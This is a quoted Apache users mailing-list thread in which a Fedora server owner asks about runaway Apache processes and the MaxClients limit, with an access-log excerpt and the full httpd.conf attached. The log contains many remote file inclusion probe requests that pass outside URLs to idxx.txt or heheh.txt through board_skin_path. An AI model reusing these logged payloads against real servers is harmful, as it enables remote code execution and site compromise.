> 66.249.65.51 - - [25/Jan/2010:11:18:13 -0500] "GET /srss/25166 HTTP/1.1"
> 500 44 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.51 - - [25/Jan/2010:11:19:07 -0500] "GET /d/29223-2/IMG_0228.JPG
> HTTP/1.1" 304 - "-" "Googlebot-Image/1.0"
> 174.129.48.21 - - [25/Jan/2010:11:19:25 -0500] "GET
> /index.php/2009/01/11/goodbye-itunes-forever?blog=1 HTTP/1.1" 301 - "-"
> "Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
> 66.249.65.51 - - [25/Jan/2010:11:20:18 -0500] "GET
> /main.php?g2_view=rating.RatingCallback&g2_command=rate&g2_itemId=29553&g2_rating=4&g2_authToken=__AUTHTOKEN__
> HTTP/1.1" 200 120 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.47 - - [25/Jan/2010:11:20:26 -0500] "GET /d/4966-2/img_3735.jpg
> HTTP/1.1" 301 345 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:20:27 -0500] "GET /d/4966-2/img_3735.jpg
> HTTP/1.1" 200 4296 "-" "Googlebot-Image/1.0"
> 66.249.65.16 - - [25/Jan/2010:11:20:50 -0500] "GET /news.php?c=1-004720
> HTTP/1.1" 200 22587 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.47 - - [25/Jan/2010:11:21:46 -0500] "GET /d/11853-2/100_1617.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:21:46 -0500] "GET /d/11853-2/100_1617.jpg
> HTTP/1.1" 200 4363 "-" "Googlebot-Image/1.0"
> 66.249.65.47 - - [25/Jan/2010:11:23:05 -0500] "GET /d/5536-3/img_2489.jpg
> HTTP/1.1" 301 345 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:23:06 -0500] "GET /d/5536-3/img_2489.jpg
> HTTP/1.1" 200 35271 "-" "Googlebot-Image/1.0"
> 66.249.65.16 - - [25/Jan/2010:11:23:17 -0500] "GET /home.php?c=1-031707
> HTTP/1.1" 200 28136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 195.137.64.88 - - [25/Jan/2010:11:24:06 -0500] "GET
> /%20%20/delete_all.php?board_skin_path=
> http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 301 "-"
> "Mozilla/5.0"
> 195.137.64.88 - - [25/Jan/2010:11:24:06 -0500] "GET
> /delete_all.php?board_skin_path=http://www.youth.rs/dmdocuments/idxx.txt???
> HTTP/1.1" 404 298 "-" "Mozilla/5.0"
> 195.137.64.88 - - [25/Jan/2010:11:24:23 -0500] "GET
> /motd.php%20%20/delete_all.php?board_skin_path=
> http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 309 "-"
> "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:02 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:25:02 -0500] "GET
> //write_update.php?board_skin_path=
> http://www.hubns.co.kr//data/list/heheh.txt??? HTTP/1.1" 404 300 "-"
> "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:10 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:25 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:27 -0500] "GET
> /about.php%253Fc%253D1-175740//formmail_send.php?board_skin_path=
> http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:27 -0500] "GET
> /about.php%253Fc%253D1-183459//formmail_send.php?board_skin_path=
> http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:27 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:35 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:46 -0500] "GET
> /about.php%253Fc%253D1-183459//formmail_send.php?board_skin_path=
> http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:46 -0500] "GET
> /about.php%253Fc%253D1-175740//formmail_send.php?board_skin_path=
> http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 327 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:25:46 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:26:51 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 67.195.115.93 - - [25/Jan/2010:11:29:07 -0500] "GET /robots.txt HTTP/1.0"
> 200 54 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp;
> http://help.yahoo.com/help/us/ysearch/slurp)"
> 86.109.170.73 - - [25/Jan/2010:11:29:31 -0500] "GET
> //formmail_send.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 301 "-" "Mozilla/5.0"
> 72.14.199.119 - - [25/Jan/2010:11:30:25 -0500] "GET /srss/33266 HTTP/1.1"
> 301 334 "-" "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html;
> 1 subscribers; feed-id=1114945347185113990)"
> 210.205.6.233 - - [25/Jan/2010:11:31:41 -0500] "GET
> //write_comment_update.php?board_skin_path=
> http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 308 "-"
> "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:32:19 -0500] "GET
> //_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 293 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:32:28 -0500] "GET
> //_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 293 "-" "Mozilla/5.0"
> 195.137.64.88 - - [25/Jan/2010:11:32:47 -0500] "GET
> //write_comment_update.php?board_skin_path=
> http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 308 "-"
> "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:32:52 -0500] "GET
> /about.php%253Fc%253D1-183459//_tail.php?board_skin_path=
> http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 319 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:32:52 -0500] "GET
> //_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 293 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:32:53 -0500] "GET
> /about.php%253Fc%253D1-175740//_tail.php?board_skin_path=
> http://www.youth.rs/editor/idxx.txt?? HTTP/1.1" 404 319 "-" "Mozilla/5.0"
> 91.212.226.210 - - [25/Jan/2010:11:33:01 -0500] "GET / HTTP/1.0" 301 318 "
> http://moonlightrpg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5;
> Windows NT 4.0) Opera 7.0 [en]"
> 86.109.170.73 - - [25/Jan/2010:11:33:33 -0500] "GET
> //_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 293 "-" "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:33:42 -0500] "GET
> //_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 293 "-" "Mozilla/5.0"
> 195.137.64.88 - - [25/Jan/2010:11:35:50 -0500] "GET
> /%20%20//write_comment_update.php?board_skin_path=
> http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 312 "-"
> "Mozilla/5.0"
> 195.137.64.88 - - [25/Jan/2010:11:35:50 -0500] "GET
> //write_comment_update.php?board_skin_path=
> http://www.youth.rs/dmdocuments/idxx.txt??? HTTP/1.1" 404 308 "-"
> "Mozilla/5.0"
> 86.109.170.73 - - [25/Jan/2010:11:36:08 -0500] "GET
> //_tail.php?board_skin_path=http://www.youth.rs/editor/idxx.txt??
> HTTP/1.1" 404 293 "-" "Mozilla/5.0"
> 95.108.142.150 - - [25/Jan/2010:11:36:09 -0500] "GET /robots.txt HTTP/1.1"
> 200 69 "-" "Yandex/1.01.001 (compatible; Win16; H)"
> 95.108.142.150 - - [25/Jan/2010:11:36:10 -0500] "GET /robots.txt HTTP/1.1"
> 200 55 "-" "Yandex/1.01.001 (compatible; Win16; H)"
> 87.250.252.242 - - [25/Jan/2010:11:37:17 -0500] "GET / HTTP/1.1" 301 360
> "-" "Yandex/1.01.001 (compatible; Win16; I)"
> 87.250.252.242 - - [25/Jan/2010:11:37:26 -0500] "GET / HTTP/1.1" 301 355
> "-" "Yandex/1.01.001 (compatible; Win16; I)"
> 66.249.65.242 - - [25/Jan/2010:11:37:37 -0500] "GET /p/feverishcomedian.php
> HTTP/1.1" 404 302 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 87.250.252.242 - - [25/Jan/2010:11:37:53 -0500] "GET / HTTP/1.1" 301 358
> "-" "Yandex/1.01.001 (compatible; Win16; I)"
> 87.250.252.242 - - [25/Jan/2010:11:37:54 -0500] "GET / HTTP/1.1" 301 359
> "-" "Yandex/1.01.001 (compatible; Win16; I)"
> 87.250.252.242 - - [25/Jan/2010:11:38:00 -0500] "GET / HTTP/1.1" 301 359
> "-" "Yandex/1.01.001 (compatible; Win16; I)"
>
>
>
>
> On Wed, Jan 27, 2010 at 05:54, Daniel Reinhardt <cr...@cryptodan.net>wrote:
>
>>
>> --------------------------------------------------
>> From: "Dan Bunyard" <da...@gmail.com>
>> Sent: 27 January, 2010 1:28
>> To: <us...@httpd.apache.org>
>> Subject: [users@httpd] Runaway Apache Process
>>
>>
>>  This has happened twice now and it's a little bit concerning to me. I
>>> have a
>>> Fedora 12 server with 5GB of RAM that I use to host a few small web sites
>>> of
>>> mine. As I mentioned, this happened once before. I tried to load one of
>>> my
>>> web sites today and it took FOREVER (as in the 10s of minutes) to load. I
>>> SSHed into the box and found the load average around 100 (dual core
>>> machine). Since this was the second time it had happened, I knew that it
>>> was
>>> Apache causing it. So I restarted the Apache service and everything
>>> returned
>>> to normal. A look in the error_log showed this error:
>>>
>>> server reached MaxClients setting, consider raising the MaxClients
>>> setting
>>>
>>> I suspect that this is the reason that Apache was eating up all my system
>>> resources but I don't have any idea how to fix it.
>>>
>>> I do use PHP and MySQL fairly heavily. All the sites on the server use
>>> PHP
>>> in some form and most of the use MySQL. Could this be part of the
>>> problem? I
>>> attached a copy of my httpd.conf file to this message if that will help
>>> (It's also inserted into this email at the very bottom).
>>>
>>> Any help would be appreciated!!!
>>> Thanks,
>>> --
>>> Dan
>>>
>>> http://www.moonlightrpg.com
>>> http://www.linkedin.com/in/danbunyard
>>> http://www.danodemano.com
>>> http://www.dansrandomness.com
>>> http://www.danandshelley.com
>>>
>>> This is not a problem that requires infinite wisdom, Benj. This is a
>>> problem
>>> that requires enough neural organization to qualify as a vertebrate,
>>> apparently a stretch for some folks these days.
>>> ~Cecil Adams.
>>>
>>>
>>> httpd.conf
>>> #
>>> # This is the main Apache server configuration file.  It contains the
>>> # configuration directives that give the server its instructions.
>>> # See <URL:http://httpd.apache.org/docs/2.2/> for detailed information.
>>> # In particular, see
>>> # <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>
>>> # for a discussion of each configuration directive.
>>> #
>>> #
>>> # Do NOT simply read the instructions in here without understanding
>>> # what they do.  They're here only as hints or reminders.  If you are
>>> unsure
>>> # consult the online docs. You have been warned.
>>> #
>>> # The configuration directives are grouped into three basic sections:
>>> #  1. Directives that control the operation of the Apache server process
>>> as
>>> a
>>> #     whole (the 'global environment').
>>> #  2. Directives that define the parameters of the 'main' or 'default'
>>> server,
>>> #     which responds to requests that aren't handled by a virtual host.
>>> #     These directives also provide default values for the settings
>>> #     of all virtual hosts.
>>> #  3. Settings for virtual hosts, which allow Web requests to be sent to
>>> #     different IP addresses or hostnames and have them handled by the
>>> #     same Apache server process.
>>> #
>>> # Configuration and logfile names: If the filenames you specify for many
>>> # of the server's control files begin with "/" (or "drive:/" for Win32),
>>> the
>>> # server will use that explicit path.  If the filenames do *not* begin
>>> # with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
>>> # with ServerRoot set to "/etc/httpd" will be interpreted by the
>>> # server as "/etc/httpd/logs/foo.log".
>>> #
>>>
>>> ### Section 1: Global Environment
>>> #
>>> # The directives in this section affect the overall operation of Apache,
>>> # such as the number of concurrent requests it can handle or where it
>>> # can find its configuration files.
>>> #
>>>
>>> #
>>> # Don't give away too much information about all the subcomponents
>>> # we are running.  Comment out this line if you don't mind remote sites
>>> # finding out what major optional modules you are running
>>> ServerTokens OS
>>>
>>> #
>>> # ServerRoot: The top of the directory tree under which the server's
>>> # configuration, error, and log files are kept.
>>> #
>>> # NOTE!  If you intend to place this on an NFS (or otherwise network)
>>> # mounted filesystem then please read the LockFile documentation
>>> # (available at <URL:
>>> http://httpd.apache.org/docs/2.2/mod/mpm_common.html#lockfile>);
>>> # you will save yourself a lot of trouble.
>>> #
>>> # Do NOT add a slash at the end of the directory path.
>>> #
>>> ServerRoot "/etc/httpd"
>>>
>>> #
>>> # PidFile: The file in which the server should record its process
>>> # identification number when it starts.
>>> #
>>> PidFile run/httpd.pid
>>>
>>> #
>>> # Timeout: The number of seconds before receives and sends time out.
>>> #
>>> Timeout 120
>>>
>>> #
>>> # KeepAlive: Whether or not to allow persistent connections (more than
>>> # one request per connection). Set to "Off" to deactivate.
>>> #
>>> KeepAlive Off
>>>
>>> #
>>> # MaxKeepAliveRequests: The maximum number of requests to allow
>>> # during a persistent connection. Set to 0 to allow an unlimited amount.
>>> # We recommend you leave this number high, for maximum performance.
>>> #
>>> MaxKeepAliveRequests 100
>>>
>>> #
>>> # KeepAliveTimeout: Number of seconds to wait for the next request from
>>> the
>>> # same client on the same connection.
>>> #
>>> KeepAliveTimeout 15
>>>
>>> ##
>>> ## Server-Pool Size Regulation (MPM specific)
>>> ##
>>>
>>> # prefork MPM
>>> # StartServers: number of server processes to start
>>> # MinSpareServers: minimum number of server processes which are kept
>>> spare
>>> # MaxSpareServers: maximum number of server processes which are kept
>>> spare
>>> # ServerLimit: maximum value for MaxClients for the lifetime of the
>>> server
>>> # MaxClients: maximum number of server processes allowed to start
>>> # MaxRequestsPerChild: maximum number of requests a server process serves
>>> <IfModule prefork.c>
>>> StartServers       8
>>> MinSpareServers    5
>>> MaxSpareServers   20
>>> ServerLimit      256
>>> MaxClients       100
>>> MaxRequestsPerChild  0
>>> </IfModule>
>>>
>>> # worker MPM
>>> # StartServers: initial number of server processes to start
>>> # MaxClients: maximum number of simultaneous client connections
>>> # MinSpareThreads: minimum number of worker threads which are kept spare
>>> # MaxSpareThreads: maximum number of worker threads which are kept spare
>>> # ThreadsPerChild: constant number of worker threads in each server
>>> process
>>> # MaxRequestsPerChild: maximum number of requests a server process serves
>>> <IfModule worker.c>
>>> StartServers         2
>>> MaxClients         100
>>> MinSpareThreads     15
>>> MaxSpareThreads     25
>>> ThreadsPerChild     5
>>> MaxRequestsPerChild  0
>>> </IfModule>
>>>
>>> #
>>> # Listen: Allows you to bind Apache to specific IP addresses and/or
>>> # ports, in addition to the default. See also the <VirtualHost>
>>> # directive.
>>> #
>>> # Change this to Listen on specific IP addresses as shown below to
>>> # prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
>>> #
>>> #Listen 12.34.56.78:80
>>> Listen *:80
>>> Listen *:81
>>>
>>> #
>>> # Dynamic Shared Object (DSO) Support
>>> #
>>> # To be able to use the functionality of a module which was built as a
>>> DSO
>>> you
>>> # have to place corresponding `LoadModule' lines at this location so the
>>> # directives contained in it are actually available _before_ they are
>>> used.
>>> # Statically compiled modules (those listed by `httpd -l') do not need
>>> # to be loaded here.
>>> #
>>> # Example:
>>> # LoadModule foo_module modules/mod_foo.so
>>> #
>>> LoadModule auth_basic_module modules/mod_auth_basic.so
>>> LoadModule auth_digest_module modules/mod_auth_digest.so
>>> LoadModule authn_file_module modules/mod_authn_file.so
>>> LoadModule authn_alias_module modules/mod_authn_alias.so
>>> LoadModule authn_anon_module modules/mod_authn_anon.so
>>> LoadModule authn_dbm_module modules/mod_authn_dbm.so
>>> LoadModule authn_default_module modules/mod_authn_default.so
>>> LoadModule authz_host_module modules/mod_authz_host.so
>>> LoadModule authz_user_module modules/mod_authz_user.so
>>> LoadModule authz_owner_module modules/mod_authz_owner.so
>>> LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
>>> LoadModule authz_dbm_module modules/mod_authz_dbm.so
>>> LoadModule authz_default_module modules/mod_authz_default.so
>>> LoadModule ldap_module modules/mod_ldap.so
>>> LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
>>> LoadModule include_module modules/mod_include.so
>>> LoadModule log_config_module modules/mod_log_config.so
>>> LoadModule logio_module modules/mod_logio.so
>>> LoadModule env_module modules/mod_env.so
>>> LoadModule ext_filter_module modules/mod_ext_filter.so
>>> LoadModule mime_magic_module modules/mod_mime_magic.so
>>> LoadModule expires_module modules/mod_expires.so
>>> LoadModule deflate_module modules/mod_deflate.so
>>> LoadModule headers_module modules/mod_headers.so
>>> LoadModule usertrack_module modules/mod_usertrack.so
>>> LoadModule setenvif_module modules/mod_setenvif.so
>>> LoadModule mime_module modules/mod_mime.so
>>> LoadModule dav_module modules/mod_dav.so
>>> LoadModule status_module modules/mod_status.so
>>> LoadModule autoindex_module modules/mod_autoindex.so
>>> LoadModule info_module modules/mod_info.so
>>> LoadModule dav_fs_module modules/mod_dav_fs.so
>>> LoadModule vhost_alias_module modules/mod_vhost_alias.so
>>> LoadModule negotiation_module modules/mod_negotiation.so
>>> LoadModule dir_module modules/mod_dir.so
>>> LoadModule actions_module modules/mod_actions.so
>>> LoadModule speling_module modules/mod_speling.so
>>> LoadModule userdir_module modules/mod_userdir.so
>>> LoadModule alias_module modules/mod_alias.so
>>> LoadModule rewrite_module modules/mod_rewrite.so
>>> LoadModule proxy_module modules/mod_proxy.so
>>> LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
>>> LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
>>> LoadModule proxy_http_module modules/mod_proxy_http.so
>>> LoadModule proxy_connect_module modules/mod_proxy_connect.so
>>> LoadModule cache_module modules/mod_cache.so
>>> LoadModule suexec_module modules/mod_suexec.so
>>> LoadModule disk_cache_module modules/mod_disk_cache.so
>>> LoadModule cgi_module modules/mod_cgi.so
>>>
>>> #
>>> # The following modules are not loaded by default:
>>> #
>>> #LoadModule cern_meta_module modules/mod_cern_meta.so
>>> #LoadModule asis_module modules/mod_asis.so
>>>
>>> #
>>> # Load config files from the config directory "/etc/httpd/conf.d".
>>> #
>>> Include conf.d/*.conf
>>>
>>> #
>>> # ExtendedStatus controls whether Apache will generate "full" status
>>> # information (ExtendedStatus On) or just basic information
>>> (ExtendedStatus
>>> # Off) when the "server-status" handler is called. The default is Off.
>>> #
>>> ExtendedStatus On
>>>
>>> #
>>> # If you wish httpd to run as a different user or group, you must run
>>> # httpd as root initially and it will switch.
>>> #
>>> # User/Group: The name (or #number) of the user/group to run httpd as.
>>> #  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
>>> #  . On HPUX you may not be able to use shared memory as nobody, and the
>>> #    suggested workaround is to create a user www and use that user.
>>> #  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
>>> #  when the value of (unsigned)Group is above 60000;
>>> #  don't use Group #-1 on these systems!
>>> #
>>> User apache
>>> Group apache
>>>
>>> ### Section 2: 'Main' server configuration
>>> #
>>> # The directives in this section set up the values used by the 'main'
>>> # server, which responds to any requests that aren't handled by a
>>> # <VirtualHost> definition.  These values also provide defaults for
>>> # any <VirtualHost> containers you may define later in the file.
>>> #
>>> # All of these directives may appear inside <VirtualHost> containers,
>>> # in which case these default settings will be overridden for the
>>> # virtual host being defined.
>>> #
>>>
>>> #
>>> # ServerAdmin: Your address, where problems with the server should be
>>> # e-mailed.  This address appears on some server-generated pages, such
>>> # as error documents.  e.g. admin@your-domain.com
>>> #
>>> ServerAdmin dan.bunyard@att.net
>>>
>>> #
>>> # ServerName gives the name and port that the server uses to identify
>>> itself.
>>> # This can often be determined automatically, but we recommend you
>>> specify
>>> # it explicitly to prevent problems during startup.
>>> #
>>> # If this is not set to valid DNS name for your host, server-generated
>>> # redirections will not work.  See also the UseCanonicalName directive.
>>> #
>>> # If your host doesn't have a registered DNS name, enter its IP address
>>> here.
>>> # You will have to access it by its address anyway, and this will make
>>> # redirections work in a sensible way.
>>> #
>>> ServerName server.danodemano.com:80
>>>
>>> #
>>> # UseCanonicalName: Determines how Apache constructs self-referencing
>>> # URLs and the SERVER_NAME and SERVER_PORT variables.
>>> # When set "Off", Apache will use the Hostname and Port supplied
>>> # by the client.  When set "On", Apache will use the value of the
>>> # ServerName directive.
>>> #
>>> UseCanonicalName Off
>>>
>>> #
>>> # DocumentRoot: The directory out of which you will serve your
>>> # documents. By default, all requests are taken from this directory, but
>>> # symbolic links and aliases may be used to point to other locations.
>>> #
>>> DocumentRoot "/var/www/html"
>>>
>>> #
>>> # Each directory to which Apache has access can be configured with
>>> respect
>>> # to which services and features are allowed and/or disabled in that
>>> # directory (and its subdirectories).
>>> #
>>> # First, we configure the "default" to be a very restrictive set of
>>> # features.
>>> #
>>> <Directory />
>>>   Options FollowSymLinks
>>>   AllowOverride None
>>> </Directory>
>>>
>>> #
>>> # Note that from this point forward you must specifically allow
>>> # particular features to be enabled - so if something's not working as
>>> # you might expect, make sure that you have specifically enabled it
>>> # below.
>>> #
>>>
>>> #
>>> # This should be changed to whatever you set DocumentRoot to.
>>> #
>>> <Directory "/var/www/html">
>>>
>>> #
>>> # Possible values for the Options directive are "None", "All",
>>> # or any combination of:
>>> #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI
>>> MultiViews
>>> #
>>> # Note that "MultiViews" must be named *explicitly* --- "Options All"
>>> # doesn't give it to you.
>>> #
>>> # The Options directive is both complicated and important.  Please see
>>> # http://httpd.apache.org/docs/2.2/mod/core.html#options
>>> # for more information.
>>> #
>>>   Options Indexes FollowSymLinks
>>>
>>> #
>>> # AllowOverride controls what directives may be placed in .htaccess
>>> files.
>>> # It can be "All", "None", or any combination of the keywords:
>>> #   Options FileInfo AuthConfig Limit
>>> #
>>>   AllowOverride All
>>>
>>> #
>>> # Controls who can get stuff from this server.
>>> #
>>>   Order allow,deny
>>>   Allow from all
>>>
>>> </Directory>
>>>
>>> #Allow access to firestats images
>>> <Directory /var/www/html/firestats/img>
>>>   AllowOverride None
>>> </Directory>
>>>
>>> #
>>> # UserDir: The name of the directory that is appended onto a user's home
>>> # directory if a ~user request is received.
>>> #
>>> # The path to the end user account 'public_html' directory must be
>>> # accessible to the webserver userid.  This usually means that ~userid
>>> # must have permissions of 711, ~userid/public_html must have permissions
>>> # of 755, and documents contained therein must be world-readable.
>>> # Otherwise, the client will only receive a "403 Forbidden" message.
>>> #
>>> # See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden
>>> #
>>> <IfModule mod_userdir.c>
>>>   #
>>>   # UserDir is disabled by default since it can confirm the presence
>>>   # of a username on the system (depending on home directory
>>>   # permissions).
>>>   #
>>>   UserDir disabled
>>>
>>>   #
>>>   # To enable requests to /~user/ to serve the user's public_html
>>>   # directory, remove the "UserDir disabled" line above, and uncomment
>>>   # the following line instead:
>>>   #
>>>   #UserDir public_html
>>>
>>> </IfModule>
>>>
>>> #
>>> # Control access to UserDir directories.  The following is an example
>>> # for a site where these directories are restricted to read-only.
>>> #
>>> #<Directory /home/*/public_html>
>>> #    AllowOverride FileInfo AuthConfig Limit
>>> #    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
>>> #    <Limit GET POST OPTIONS>
>>> #        Order allow,deny
>>> #        Allow from all
>>> #    </Limit>
>>> #    <LimitExcept GET POST OPTIONS>
>>> #        Order deny,allow
>>> #        Deny from all
>>> #    </LimitExcept>
>>> #</Directory>
>>>
>>> #
>>> # DirectoryIndex: sets the file that Apache will serve if a directory
>>> # is requested.
>>> #
>>> # The index.html.var file (a type-map) is used to deliver content-
>>> # negotiated documents.  The MultiViews Option can be used for the
>>> # same purpose, but it is much slower.
>>> #
>>> DirectoryIndex index.html index.html.var
>>>
>>> #
>>> # AccessFileName: The name of the file to look for in each directory
>>> # for additional configuration directives.  See also the AllowOverride
>>> # directive.
>>> #
>>> AccessFileName .htaccess
>>>
>>> #
>>> # The following lines prevent .htaccess and .htpasswd files from being
>>> # viewed by Web clients.
>>> #
>>> <Files ~ "^\.ht">
>>>   Order allow,deny
>>>   Deny from all
>>> </Files>
>>>
>>> #
>>> # TypesConfig describes where the mime.types file (or equivalent) is
>>> # to be found.
>>> #
>>> TypesConfig /etc/mime.types
>>>
>>> #
>>> # DefaultType is the default MIME type the server will use for a document
>>> # if it cannot otherwise determine one, such as from filename extensions.
>>> # If your server contains mostly text or HTML documents, "text/plain" is
>>> # a good value.  If most of your content is binary, such as applications
>>> # or images, you may want to use "application/octet-stream" instead to
>>> # keep browsers from trying to display binary files as though they are
>>> # text.
>>> #
>>> DefaultType text/plain
>>>
>>> #
>>> # The mod_mime_magic module allows the server to use various hints from
>>> the
>>> # contents of the file itself to determine its type.  The MIMEMagicFile
>>> # directive tells the module where the hint definitions are located.
>>> #
>>> <IfModule mod_mime_magic.c>
>>> #   MIMEMagicFile /usr/share/magic.mime
>>>   MIMEMagicFile conf/magic
>>> </IfModule>
>>>
>>> #
>>> # HostnameLookups: Log the names of clients or just their IP addresses
>>> # e.g., www.apache.org (on) or 204.62.129.132 (off).
>>> # The default is off because it'd be overall better for the net if people
>>> # had to knowingly turn this feature on, since enabling it means that
>>> # each client request will result in AT LEAST one lookup request to the
>>> # nameserver.
>>> #
>>> HostnameLookups Off
>>>
>>> #
>>> # EnableMMAP: Control whether memory-mapping is used to deliver
>>> # files (assuming that the underlying OS supports it).
>>> # The default is on; turn this off if you serve from NFS-mounted
>>> # filesystems.  On some systems, turning it off (regardless of
>>> # filesystem) can improve performance; for details, please see
>>> # http://httpd.apache.org/docs/2.2/mod/core.html#enablemmap
>>> #
>>> #EnableMMAP off
>>>
>>> #
>>> # EnableSendfile: Control whether the sendfile kernel support is
>>> # used to deliver files (assuming that the OS supports it).
>>> # The default is on; turn this off if you serve from NFS-mounted
>>> # filesystems.  Please see
>>> # http://httpd.apache.org/docs/2.2/mod/core.html#enablesendfile
>>> #
>>> #EnableSendfile off
>>>
>>> #
>>> # ErrorLog: The location of the error log file.
>>> # If you do not specify an ErrorLog directive within a <VirtualHost>
>>> # container, error messages relating to that virtual host will be
>>> # logged here.  If you *do* define an error logfile for a <VirtualHost>
>>> # container, that host's errors will be logged there and not here.
>>> #
>>> ErrorLog logs/error_log
>>>
>>> #
>>> # LogLevel: Control the number of messages logged to the error_log.
>>> # Possible values include: debug, info, notice, warn, error, crit,
>>> # alert, emerg.
>>> #
>>> LogLevel warn
>>>
>>> #
>>> # The following directives define some format nicknames for use with
>>> # a CustomLog directive (see below).
>>> #
>>> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
>>> combined
>>> LogFormat "%h %l %u %t \"%r\" %>s %b" common
>>> LogFormat "%{Referer}i -> %U" referer
>>> LogFormat "%{User-agent}i" agent
>>>
>>> # "combinedio" includes actual counts of actual bytes received (%I) and
>>> sent
>>> (%O); this
>>> # requires the mod_logio module to be loaded.
>>> #LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"
>>> %I
>>> %O" combinedio
>>>
>>> #
>>> # The location and format of the access logfile (Common Logfile Format).
>>> # If you do not define any access logfiles within a <VirtualHost>
>>> # container, they will be logged here.  Contrariwise, if you *do*
>>> # define per-<VirtualHost> access logfiles, transactions will be
>>> # logged therein and *not* in this file.
>>> #
>>> #CustomLog logs/access_log common
>>>
>>> #
>>> # If you would like to have separate agent and referer logfiles,
>>> uncomment
>>> # the following directives.
>>> #
>>> #CustomLog logs/referer_log referer
>>> #CustomLog logs/agent_log agent
>>>
>>> #
>>> # For a single logfile with access, agent, and referer information
>>> # (Combined Logfile Format), use the following directive:
>>> #
>>> CustomLog logs/access_log combined
>>>
>>> #
>>> # Optionally add a line containing the server version and virtual host
>>> # name to server-generated pages (internal error documents, FTP directory
>>> # listings, mod_status and mod_info output etc., but not CGI generated
>>> # documents or custom error documents).
>>> # Set to "EMail" to also include a mailto: link to the ServerAdmin.
>>> # Set to one of:  On | Off | EMail
>>> #
>>> ServerSignature On
>>>
